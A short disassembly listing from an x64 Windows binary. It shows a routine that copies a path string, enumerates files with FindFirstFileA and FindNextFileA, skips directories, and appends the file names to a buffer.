test r8, r8
je 0x14000980b
movzx edx, byte [r9 + rcx]
test dl, dl
je 0x140009803
mov byte [rcx], dl
inc rcx
dec r8
sub rax, 1
jne 0x1400097e5
jmp 0x140009808
test rax, rax
jne 0x14000980b
dec rcx
mov byte [rcx], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000988c
nop word [rax + rax]
test byte [rsp + 0x60], 0x10
jne 0x140009871
mov r8d, 2
lea rdx, [0x140085e2c]
mov rcx, rbx
call fcn.1400041a0
lea rdx, [rsp + 0x8c]
mov rcx, rbx
call fcn.140002ec0
mov r8d, 1
lea rdx, [0x14008574c]
mov rcx, rbx
call fcn.1400041a0
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140009830
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rax, rbx
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140010e80
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret